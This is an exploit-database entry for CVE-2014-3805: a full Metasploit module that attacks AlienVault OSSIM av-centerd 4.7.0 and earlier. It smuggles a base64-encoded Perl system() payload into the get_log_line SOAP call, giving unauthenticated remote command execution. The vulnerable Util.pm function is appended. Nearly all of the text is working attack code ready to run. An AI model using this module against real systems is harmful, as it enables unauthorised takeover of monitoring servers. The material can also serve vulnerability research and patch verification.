Alienvault OSSIM av-centerd 4.7.0 get_log_line Command Injection

2017.09.13
Credit: james fitts
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include REXML def initialize(info = {}) super(update_info(info, 'Name' => 'Alienvault OSSIM av-centerd Command Injection get_log_line', 'Description' => %q{ This module exploits a command injection flaw found in the get_log_line function found within Util.pm. The vulnerability is triggered due to an unsanitized $r_file parameter passed to a string which is then executed by the system }, 'Author' => [ 'james fitts' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-3805' ], [ 'OSVDB', '107992' ] ], 'Privileged' => true, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'SSL' => true, }, 'Payload' => { 'Compat' => { 'RequiredCmd' => 'perl netcat-e openssl python gawk' } }, 'DefaultTarget' => 0, 'Targets' => [ ['Alienvault <= 4.7.0',{}] ], 'DisclosureDate' => 'Jul 18 2014')) register_options([Opt::RPORT(40007)], self.class) end def check version = "" res = send_soap_request("get_dpkg") if res && res.code == 200 && res.headers['SOAPServer'] && res.headers['SOAPServer'] =~ /SOAP::Lite/ && res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/ version = $1 end if version.empty? || version >= "4.7.0" return Exploit::CheckCode::Safe else return Exploit::CheckCode::Appears end end def build_soap_request(method) xml = Document.new xml.add_element( "soap:Envelope", { "xmlns:xsi" => "http://www.w3.org/2001/XMLSchema-instance", "xmlns:soapenc" => "http://schemas.xmlsoap.org/soap/encoding/", "xmlns:xsd" => "http://www.w3.org/2001/XMLSchema", "soap:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/", "xmlns:soap" => "http://schemas.xmlsoap.org/soap/envelope/" }) body = xml.root.add_element("soap:Body") m = body.add_element(method, { 'xmlns' => "AV/CC/Util" }) args = [] args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'}) args[0].text = "All" args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'}) args[1].text = "423d7bea-cfbc-f7ea-fe52-272ff7ede3d2" args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'}) args[2].text = "#{datastore['RHOST']}" args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'}) args[3].text = "#{rand_text_alpha(4 + rand(4))}" args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'}) args[4].text = "/var/log/auth.log" args[5] = m.add_element("c-gensym13", {'xsi:type' => 'xsd:string'}) perl_payload = "system(decode_base64" perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))" args[5].text = "1;perl -MMIME::Base64 -e '#{perl_payload}';" xml.to_s end def send_soap_request(method, timeout=20) soap = build_soap_request(method) res = send_request_cgi({ 'uri' => '/av-centerd', 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => soap, 'headers' => { 'SOAPAction' => "\"AV/CC/Util##{method}\"" } }, timeout) res end def exploit send_soap_request("get_log_line", 1) end end __END__ /usr/share/alienvault-center/lib/AV/CC/Util.pm sub get_log_line { my ( $funcion_llamada, $nombre, $uuid, $admin_ip, $hostname, $r_file, $number_lines ) = @_; verbose_log_file( "GET LOG LINE : Received call from $uuid : ip source = $admin_ip, hostname = $hostname :($funcion_llamada,$r_file)" ); my @ret = ("$systemuuid"); if ( $r_file =~ /\.\./ ){ push(@ret,"File not auth"); return \@ret; } if ( $number_lines <= 0) { push(@ret,"Error in number lines"); return \@ret; } if (( $r_file =~ /^\/var\/log\// ) or ( $r_file =~ /^\/var\/ossec\/alerts\// ) or ( $r_file =~ /^\/var\/ossec\/logs\// )){ if (! -f "$r_file" ){ push(@ret,"File not found"); return \@ret; } push(@ret,"ready"); my $command = "tail -$number_lines $r_file"; #push(@ret,"$command"); #my @content = `tail -$number_lines $r_file`; my @content = `$command`; push(@ret,@content); return \@ret; } else { push(@ret,"path not auth"); return \@ret; } }


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